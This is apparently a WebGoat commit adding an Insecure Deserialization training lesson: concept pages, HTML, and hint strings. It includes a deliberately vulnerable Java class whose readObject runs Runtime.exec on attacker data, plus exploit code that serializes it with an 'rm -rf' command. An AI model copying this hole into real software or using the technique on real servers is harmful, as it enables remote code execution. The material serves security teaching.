Refactoring (#1201)

* Some initial refactoring

* Make it one application

* Got it working

* Fix problem on Windows

* Move WebWolf

* Move first lesson

* Moved all lessons

* Fix pom.xml

* Fix tests

* Add option to initialize a lesson

This way we can create content for each user inside a lesson. The initialize method will be called when a new user is created or when a lesson reset happens

* Clean up pom.xml files

* Remove fetching labels based on language.

We only support English at the moment, all the lesson explanations are written in English which makes it very difficult to translate. If we only had labels it would make sense to support multiple languages

* Fix SonarLint issues

* And move it all to the main project

* Fix for documentation paths

* Fix pom warnings

* Remove PMD as it does not work

* Update release notes about refactoring

Update release notes about refactoring

Update release notes about refactoring

* Fix lesson template

* Update release notes

* Keep it in the same repo in Dockerhub

* Update documentation to show how the connection is obtained.

Resolves: #1180

* Rename all integration tests

* Remove command from Dockerfile

* Simplify GitHub actions

Currently, we use a separate actions for pull-requests and branch build.
This is now consolidated in one action.
The PR action triggers always, it now only trigger when the PR is
opened and not in draft.
Running all platforms on a branch build is a bit too much, it is better
 to only run all platforms when someone opens a PR.

* Remove duplicate entry from release notes

* Add explicit registry for base image

* Lesson scanner not working when fat jar

When running the fat jar we have to take into account we
are reading from the jar file and not the filesystem. In
this case you cannot use `getFile` for example.

* added info in README and fixed release docker

* changed base image and added ignore file

Co-authored-by: Zubcevic.com <rene@zubcevic.com>
This commit is contained in:
Nanne Baars
2022-04-09 14:56:12 +02:00
committed by GitHub
parent f3d8206a07
commit 711649924b
1130 changed files with 3540 additions and 7643 deletions

View File

@ -0,0 +1,5 @@
== What is a Gadgets Chain
It is weird (but it could happen) to find a gadget that runs dangerous actions itself when is deserialized. However, it is much easier to find a gadget that runs action on other gadget when it is deserializaded, and that second gadget runs more actions on a third gadget, and so on until a real dangerous action is triggered. That set of gadgets that can be used in a deserialization process to achieve dangerous actions is called "Gadget Chain".
Finding gadgets to build gadget chains is an active topic for security researchers. This kind of research usually requires to spend a big amount of time reading code.

View File

@ -0,0 +1,10 @@
== Concept
This lesson describes what is Serialization and how it can be manipulated to perform tasks that were not the original intent of the developer.
== Goals
* The user should have a basic understanding of Java programming language
* The user will be able to detect insecure deserialization vulnerabilities
* The user will be able to exploit insecure deserialization vulnerabilities
* Exploiting deserialization is slightly different in other programming languages such as PHP or Python, but the key concepts learnt here also applies to all of them

View File

@ -0,0 +1,70 @@
== The Simplest Exploit
=== Vulnerable code
The following is a well-known example for a Java Deserialization vulnerability.
[source,java]
----
InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
AcmeObject acme = (AcmeObject)ois.readObject();
----
It is expecting an `AcmeObject` object, but it will execute `readObject()` before the casting ocurs.
If an attacker finds the proper class implementing dangerous operations in `readObject()`, he could serialize that object and force the vulnerable application to perform those actions.
=== Class included in ClassPath
Attackers need to find a class in the classpath that supports serialization and with dangerous implementations on `readObject()`.
[source,java]
----
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 1;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
private void readObject( ObjectInputStream stream ) throws Exception {
//deserialize data so taskName and taskAction are available
stream.defaultReadObject();
//blindly run some code. #code injection
Runtime.getRuntime().exec(taskAction);
}
}
----
=== Exploit
If the java class shown above exists, attackers can serialize that object and obtain Remote Code Execution.
[source,java]
----
VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
----

View File

@ -0,0 +1,8 @@
=== Let's try
The following input box receives a serialized object (a string) and it deserialzes it.
```
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l
```
Try to change this serialized object in order to delay the page response for exactly 5 seconds.

View File

@ -0,0 +1,23 @@
== What is Serialization
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.
----
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
----
=== Native Serialization
Many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.
=== Known Affected Programming Languages
* PHP
* Python
* Ruby
* Java
* C
* C++
=== Data, not Code
ONLY data is serialized. Code is not serialized itself. Deserialization creates a new object and copies all the data from the byte stream, in order to obtain and object identical to the object that was serialized.

View File

@ -0,0 +1,38 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:lessons/deserialization/documentation/InsecureDeserialization_Intro.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:lessons/deserialization/documentation/InsecureDeserialization_WhatIs.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:lessons/deserialization/documentation/InsecureDeserialization_SimpleExploit.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:lessons/deserialization/documentation/InsecureDeserialization_GadgetChain.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- stripped down without extra comments -->
<div class="adoc-content" th:replace="doc:lessons/deserialization/documentation/InsecureDeserialization_Task.adoc"></div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN" name="task"
method="POST"
action="/WebGoat/InsecureDeserialization/task">
<input type="textarea" rows="4" cols="40" value="" name="token" placeholder="token"/>
<input type="submit" value="Submit" />
</form>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
</html>

View File

@ -0,0 +1,11 @@
insecure-deserialization.title=Insecure Deserialization
insecure-deserialization.invalidversion=The serialization id does not match. Probably the version has been updated. Let's try again.
insecure-deserialization.expired=The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let's try again.
insecure-deserialization.wrongobject=That is not the VulnerableTaskHolder object. Good try! because the code is not checking this after running the readObject(). Let's try again with the right object.
insecure-deserialization.stringobject=That is not the VulnerableTaskHolder object. However a plain String is harmless. Let's try again with the right object.
insecure-deserialization.hints.1=WebGoat probably contains the org.dummy.insecure.framework.VulnerableTaskHolder class as shown on the lesson pages. Use this to construct and serialize your attack.
insecure-deserialization.hints.2=The VulnerableTaskHolder might have been updated on the server with a next version number.
insecure-deserialization.hints.3=Not all actions are allowed anymore. The readObject has been changed. For serializing it does not effect the data. Follow the additional hints from the feedback on your attempts.